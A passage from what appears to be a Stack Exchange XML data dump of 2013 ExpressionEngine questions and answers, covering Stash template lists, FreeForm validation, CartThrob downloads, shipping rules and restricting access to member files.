  <row Id="16727" PostTypeId="2" ParentId="16717" CreationDate="2013-11-13T17:15:21.067" Score="1" Body="&lt;p&gt;This StackOverflow answer shows how to extract a variable from a JSON string:&#xA;&lt;a href=&quot;https://stackoverflow.com/a/10689950/135935&quot;&gt;https://stackoverflow.com/a/10689950/135935&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then echo that variable inside the exp:channel:form tag into a hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;product_id&quot; value=&quot;&amp;lt;?php echo $ID ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-11-13T17:15:21.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16728" PostTypeId="2" ParentId="16709" CreationDate="2013-11-13T17:30:55.123" Score="8" Body="&lt;p&gt;What you're doing isn't really the way to use media queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the 'data' (from which I read 'content') different based on the user agent? Is it actually different content or are you simply talking about layout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say your options here are;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Output everything once and use CSS Media Queries properly to reformat the content appropriately for the device being used to access it. i.e Make the site responsive. There should be few, if any, instances where you'd need to duplicate output data like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Media queries should be used to alter how elements are displayed and interact with other elements, adjust page flow or show/hide elements from view. The underlying page markup and content should be identical regardless of the user agent properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous articles and tutorials around regarding this approach. Try &lt;a href=&quot;http://mobile.smashingmagazine.com/2010/07/19/how-to-use-css3-media-queries-to-create-a-mobile-version-of-your-website/&quot;&gt;http://mobile.smashingmagazine.com/2010/07/19/how-to-use-css3-media-queries-to-create-a-mobile-version-of-your-website/&lt;/a&gt; to start with and descend down the rabbit-hole from there!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use separate templates (or even domains) for each 'version' of the site and sniff the device when someone lands on a page, then redirect to the appropriate version. The disadvantage of this is multiple URLs for what is essentially the same content so be sure to specify canonical URLs for each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use PHP to sniff device properties and use a PHP conditional to add the template partial as required. There are a number of libraries available for doing this. I can't recommend any though since I haven't used them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this library as a starting point &lt;a href=&quot;https://code.google.com/p/php-mobile-detect/&quot;&gt;https://code.google.com/p/php-mobile-detect/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an add-on to do the detection. Try &lt;a href=&quot;http://devot-ee.com/add-ons/detect-mobile&quot;&gt;http://devot-ee.com/add-ons/detect-mobile&lt;/a&gt;. I don't know whether this will ease the load as you may find that EE's parsing engine will still do more than it needs to. It depends when the add-on fits in the parse order.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Stash. Someone else mentioned this so I won't go into it further here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Personally I'd go with option 1.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-11-13T19:48:00.333" LastActivityDate="2013-11-13T19:48:00.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16729" PostTypeId="1" CreationDate="2013-11-13T17:37:35.250" Score="2" ViewCount="470" Body="&lt;p&gt;My script works when its all coded without FreeForm, but when I use FreeForm I cant get it to validate text boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the javascript to load up a pop that tells the user they need to fill in the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I have for the form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:freeform:form&#xA;                    form_name=&quot;contact_form&quot; &#xA;                    template=&quot;contact_email&quot;&#xA;                    form:class=&quot;contact&quot;&#xA;                    return=&quot;contact_/index#sent&quot;&#xA;&#xA;                }&#xA;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;FIRST NAME&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168 mrR14&quot;  name=&quot;fname&quot; id=&quot;fname&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;LAST NAME&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168&quot; name=&quot;lname&quot; id=&quot;lname&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;COMPANY&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w350&quot; name=&quot;company&quot; id=&quot;company&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;EMAIL&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w350&quot; name=&quot;email&quot; id=&quot;email&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;ADDRESS&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w350&quot; name=&quot;address&quot; id=&quot;address&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;CITY&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168 mrR14&quot; name=&quot;city&quot; id=&quot;city&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;PROVINCE/STATE&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168&quot; name=&quot;state&quot; id=&quot;state&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;POSTAL CODE/ZIP&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168 mrR14&quot; name=&quot;postalcode&quot; id=&quot;postal&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;COUNTRY&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168&quot; name=&quot;country&quot; id=&quot;country&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;PHONE NUMBER&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168 mrR14&quot; name=&quot;phone1&quot;id =&quot;phone&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;SPECIFY&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168&quot; name=&quot;specify&quot; id=&quot;specify&quot; /&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;OCCUPATION&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;select id=&quot;occupation&quot; name=&quot;occupation&quot; class=&quot;w168 cw168&quot; style=&quot;background:#f2f2f2;border:0px;color:#000;font-size:12px;&quot;&amp;gt;&amp;lt;option&amp;gt;architect&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;interior designer&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;contractor/consultant&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;retailer&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;end-user&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;other&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container cmrL14&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;HOW DID YOU HEAR ABOUT US?&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;select id=&quot;about&quot; name=&quot;about&quot; class=&quot;w168 cw168&quot; style=&quot;background:#f2f2f2;border:0px;color:#000;font-size:12px;&quot;&amp;gt;&amp;lt;option&amp;gt;magazine - specify&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;tradeshow&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;website/search engine&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;other - specify&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span class=&quot;input_container pdT8&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;input_info&quot;&amp;gt;COMMENTS&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;textarea value=&quot;&quot; class=&quot;w350&quot; name=&quot;comment&quot;id=&quot;comment&quot; style=&quot;&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {if captcha}&#xA;                        &amp;lt;span class=&quot;input_container pdT8&quot;&amp;gt;&#xA;                            &amp;lt;span class=&quot;input_info&quot;&amp;gt;Please enter in the word you see below:&amp;lt;/span&amp;gt; &#xA;                            &amp;lt;input type=&quot;text&quot; class=&quot;w168&quot; name=&quot;captcha&quot; id=&quot;captcha&quot; value=&quot;&quot; size=&quot;40&quot; /&amp;gt;&#xA;                            &amp;lt;span class=&quot;input_info&quot;&amp;gt;{captcha}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;input type=&quot;submit&quot;  name=&quot;submit&quot;  id=&quot;submit&quot; value=&quot;SUBMIT&quot;class=&quot;submitbutton&quot; style=&quot;cursor:pointer&quot;/&amp;gt;&#xA;                {/exp:freeform:form}&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2360" LastEditorUserId="1326" LastEditDate="2013-11-14T08:48:14.733" LastActivityDate="2013-11-14T15:20:56.453" Title="Javascript Validation not working on EE FreeForm" Tags="|ee2|solspace-freeform|validation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16730" PostTypeId="2" ParentId="16707" CreationDate="2013-11-13T17:44:25.863" Score="2" Body="&lt;p&gt;In your example code this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{video_gallery:product search:status='wall'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... is theoretically telling the relationship field to only display entries which have a custom field named &lt;code&gt;status&lt;/code&gt; with a value of &quot;wall&quot;. (Although Relationship field tags do not actually support the &lt;code&gt;search&lt;/code&gt; parameter - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#parameters&quot; rel=&quot;nofollow&quot;&gt;see supported parameters&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking about the &lt;code&gt;status&lt;/code&gt; as determined by each related entry's &quot;Status&quot; menu, you want this syntax instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{video_gallery:product status='wall'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-13T17:44:25.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16731" PostTypeId="1" AcceptedAnswerId="16738" CreationDate="2013-11-13T18:58:47.293" Score="4" ViewCount="184" Body="&lt;p&gt;We're running several big sites on a MSM install, but we're finding it's becoming increasingly difficult to upgrade one site without breaking another. It's just become a tangled mess actually and we're also concerned about the ballooning size of the database as we opened up a user loyalty component to one of the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our only thought is to break each site into its own EE install, but how do still share posts across sites? JSON feed from one site with a Datagrab cron job on the other site? Any one have experience with a set up like this?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-11-13T22:40:09.727" Title="Alternative to MSM?" Tags="|multi-site-manager|datagrab|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16732" PostTypeId="2" ParentId="16645" CreationDate="2013-11-13T20:43:37.350" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists&quot; rel=&quot;nofollow&quot;&gt;stash lists&lt;/a&gt;. Store the state separately. On output order by the unique states and use a nested get_list to get the entries/stores per state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(example from Croxton slide: &lt;a href=&quot;https://speakerdeck.com/croxton/stash-core-principles?slide=57&quot; rel=&quot;nofollow&quot;&gt;Stash core principles&lt;/a&gt; )&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_stores&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot;}&#xA;  {exp:store_locator:stores}&#xA;    {stash:item_state}{state}{/stash:item_state}&#xA;    {stash:item_name}{name}{/stash:item_name}&#xA;    {stash:item_info}&#xA;        {address_line1}&amp;lt;br&amp;gt;&#xA;        {city}, {state}&amp;lt;br&amp;gt;&#xA;        {postal_code}&#xA;    {/stash:item_info}&#xA;  {/exp:store_locator:stores}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then retrieve the unique states, and accompanying stores via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;my_stores&quot; orderby=&quot;item_state&quot; unique=&quot;item_state&quot; scope=&quot;site&quot;}&#xA;  &amp;lt;h2&amp;gt;{item_state}&amp;lt;/h2&amp;gt;&#xA;  {exp:stash:get_list:nested name=&quot;my_stores&quot; orderby=&quot;item_name&quot; scope=&quot;site&quot;&#xA;    match=&quot;#^{item_state}$#&quot; &#xA;    against=&quot;item_state&quot;&#xA;    prefix=&quot;result&quot;}&#xA;      &amp;lt;h3&amp;gt;{result:item_name}&amp;lt;/h3&amp;gt;&#xA;      {result:item_info}&#xA;  {/exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: if you use conditionals, like in your example for address_line1, etc., i'ld suggest adding the parameter parse_conditionals=&quot;yes&quot; in set_list.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="155" LastEditDate="2013-11-14T09:48:07.717" LastActivityDate="2013-11-14T09:48:07.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16733" PostTypeId="2" ParentId="16729" CreationDate="2013-11-13T20:54:43.947" Score="2" Body="&lt;p&gt;I never used Solspace Freeform, but, looking at the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#form_attribute_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;, I had one idea.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;form:ATTRIBUTE_NAME=&lt;/p&gt;&#xA;&lt;p&gt;This parameter allows you to control any form attribute for the form in your template. Simply replace ATTRIBUTE_NAME with an attribute name such as &lt;strong&gt;id, name, class, onsubmit, etc,&lt;/strong&gt; and specify a value for that attribute. You can specify this parameter multiple times to control as many attributes as necessary. &lt;strong&gt;This would normally be done to control your form with Javascript or style it with CSS.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Shouldn't you be using the parameter &lt;code&gt;form:name&lt;/code&gt; too?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;     form_name=&amp;quot;contact_form&amp;quot; &#xA;     template=&amp;quot;contact_email&amp;quot;&#xA;     form:class=&amp;quot;contact&amp;quot;&#xA;     return=&amp;quot;contact_/index#sent&amp;quot;&#xA;     form:name=&amp;quot;contact_form&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-11-13T20:54:43.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16734" PostTypeId="2" ParentId="16729" CreationDate="2013-11-13T21:00:06.110" Score="2" Body="&lt;p&gt;As far as I can see you have not assigned an event to validateForm(). Nothing is executing this query, not so strange that it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example Ise jQuery to assign the function to you submit button. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(“input[type=submit]”).click(function(){&#xA;  ValidateForm();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2013-11-13T21:00:06.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16735" PostTypeId="1" CreationDate="2013-11-13T21:33:38.813" Score="0" ViewCount="40" Body="&lt;p&gt;I've been tasked in researching whether CT is capable of multiple downloads. For example, if someone adds a CD to their cart and two, separate MP3 files. When the person checks out will the two MP3 files be available for download or can only 1 file be available? I can probably run this through to test it out but thought I would see if anyone knows before spending a few hours testing.. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-11-13T22:45:02.713" Title="Multiple downloads with Cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16736" PostTypeId="1" CreationDate="2013-11-13T22:27:20.573" Score="2" ViewCount="200" Body="&lt;p&gt;We're using Store to sell magazines that have three variations: Print, Digital and Print + Digital. We're currently using Flat Rate shipping with a base rate and a per-item cost. However, if the visitor selects only the Digital version of an individual magazine, can we override the shipping costs for that particular product, while keeping Flat Rate shipping costs in place for any other products in the cart?&lt;/p&gt;&#xA;" OwnerUserId="2361" LastEditorUserId="28" LastEditDate="2013-11-17T19:38:21.890" LastActivityDate="2013-11-17T19:38:21.890" Title="Adjust shipping cost based on product Variation?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16737" PostTypeId="2" ParentId="16736" CreationDate="2013-11-13T22:37:14.970" Score="2" Body="&lt;p&gt;At the moment you would need to write an extension or a custom shipping extension to have per variation specific shipping rates. I would recommend sending an email to support@exp-resso.com with the feature request so they can add it to the &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;Feature Request&lt;/a&gt; list to see about getting it added to a future release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the extension hooks documentation &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-13T22:37:14.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16738" PostTypeId="2" ParentId="16731" CreationDate="2013-11-13T22:40:09.727" Score="2" Body="&lt;p&gt;That is a tricky one, but i would check out &lt;a href=&quot;http://www.putyourlightson.net/open-api&quot; rel=&quot;nofollow&quot;&gt;Open Api&lt;/a&gt; which is a nice api in which to perform CRUD operations, you might run into some cross-site ajax issues though, but it can definitely be done.&lt;/p&gt;&#xA;" OwnerUserId="613" LastActivityDate="2013-11-13T22:40:09.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16739" PostTypeId="2" ParentId="16735" CreationDate="2013-11-13T22:45:02.713" Score="1" Body="&lt;p&gt;You can indeed have multiple downloads. You can use the &lt;code&gt;{exp:cart throb:download_file_form}&lt;/code&gt; tag inside your loop for all the available downloads. There is a quick video that explains the download tag on Vimeo: &lt;a href=&quot;http://vimeo.com/37500649&quot; rel=&quot;nofollow&quot;&gt;Download Tag Video&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-13T22:45:02.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16740" PostTypeId="1" CreationDate="2013-11-13T23:21:14.850" Score="1" ViewCount="63" Body="&lt;p&gt;I'm working on a site that has certain pages that are going to be restricted to members only. It's using an external membership database to authenticate members, not EE's native members. Some of the secure pages have a Wygwam field and users can add links to files within that field. I'm trying to figure out how to secure the links to files that are contained within the Wygwam field and looking for any help or guidance on best practice for this type of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using LinkVault on other sections of the site where we have file upload fields and it works great, but I can't figure out how to do something similar with links that are contained in the wysiwyg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Store all the secure files above the web root&lt;/li&gt;&#xA;&lt;li&gt;Use the upload directory URL stored in the EE upload directory settings to point to a location that is set up as an alias for the directory stored above the root&lt;/li&gt;&#xA;&lt;li&gt;Use htaccess to redirect the user to a php file that checks if they are logged in.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what to do past that or if I'm thinking about this the wrong way. Once I check that they are logged in do I use the same php page to serve up the file somehow? Can anyone think of an easier way in EE to point to those files, check to see if the user has logged in, and then serve up the file if they have?&lt;/p&gt;&#xA;" OwnerUserId="915" LastEditorUserId="915" LastEditDate="2013-11-18T17:16:53.373" LastActivityDate="2013-11-18T17:16:53.373" Title="Securing files that are linked through a Wygwam field" Tags="|wygwam|files|secure|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16741" PostTypeId="2" ParentId="16724" CreationDate="2013-11-14T00:12:30.073" Score="0" Body="&lt;p&gt;I'm not sure this will help, but I have a the same setup to yours and I have found that product URLs that have a period do not add to cart while without do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example &quot;item_no.2&quot; will not add, while &quot;item_no2&quot; will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to work out if it's related to buildwithstructure potentially.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-11-14T00:12:30.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16742" PostTypeId="1" CreationDate="2013-11-14T04:53:58.737" Score="1" ViewCount="411" Body="&lt;p&gt;Is there an alternate way to pass embed variables other than passing them as attributes?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-14T05:45:36.010" Title="Alternative ways to pass embed variables" Tags="|embeds|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16743" PostTypeId="2" ParentId="16742" CreationDate="2013-11-14T05:45:36.010" Score="3" Body="&lt;p&gt;Not natively I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typically use &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to do this nowadays. It will give you persistent variables as well as template inheritance so you can do things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrapper template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;!-- paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ --&amp;gt;&#xA;&amp;lt;!--[if IE 7]&amp;gt;&amp;lt;html class=&quot;no-js lt-ie9 lt-ie8&quot; lang=&quot;en&quot;&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 8]&amp;gt;&amp;lt;html class=&quot;no-js lt-ie9&quot; lang=&quot;en&quot;&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if gt IE 8]&amp;gt;&amp;lt;!--&amp;gt;&amp;lt;html class=&quot;no-js&quot; lang=&quot;en&quot;&amp;gt;&amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;dns-prefetch&quot; href=&quot;//use.typekit.com&quot; /&amp;gt;&#xA;&#xA;    {if &quot;{exp:stash:not_empty name='st_html_title'}&quot;}&amp;lt;title&amp;gt;{exp:stash:get name=&quot;st_html_title&quot;} - Site name&amp;lt;/title&amp;gt;{if:else}&amp;lt;title&amp;gt;Site name&amp;lt;/title&amp;gt;{/if}&#xA;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;{site_url}/favicon.ico&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; media=&quot;screen&quot; href=&quot;{site_url}/assets/css/screen.css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;maincontent&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;        {!-- built wisth stash and template partial approach--}&#xA;        {exp:stash:get name=&quot;content&quot;}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Partial template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Layout used --}&#xA;{stash:embed:layouts:page}&#xA;&#xA;{!-- Meta data --}&#xA;{exp:stash:set name=&quot;st_html_title&quot;}Products{/exp:stash:set}&#xA;&#xA;{!-- Build list --}&#xA;{exp:stash:set_list name=&quot;st_products_list&quot;}&#xA;    {exp:channel:entries disable=&quot;categories|category_fields|member_data|trackbacks&quot; channel=&quot;products&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot;}&#xA;        {stash:st_item_title}{title}{/stash:st_item_title}&#xA;        {stash:st_item_summary}{cf_product_summary}{/stash:st_item_summary}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- Build page content --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&#xA;    {exp:stash:get_list name=&quot;st_products_list&quot; prefix=&quot;stashprefix&quot;}&#xA;&#xA;        {if count == &quot;1&quot;}&amp;lt;ul&amp;gt;{/if}&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{st_url}&quot;&amp;gt;{st_title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;{st_item_summary}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;        {!-- if no results --}&#xA;        {if stashprefix:no_results}&amp;lt;p&amp;gt;No Products Found&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    {/exp:stash:get_list}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It takes a bit of time to wrap your head 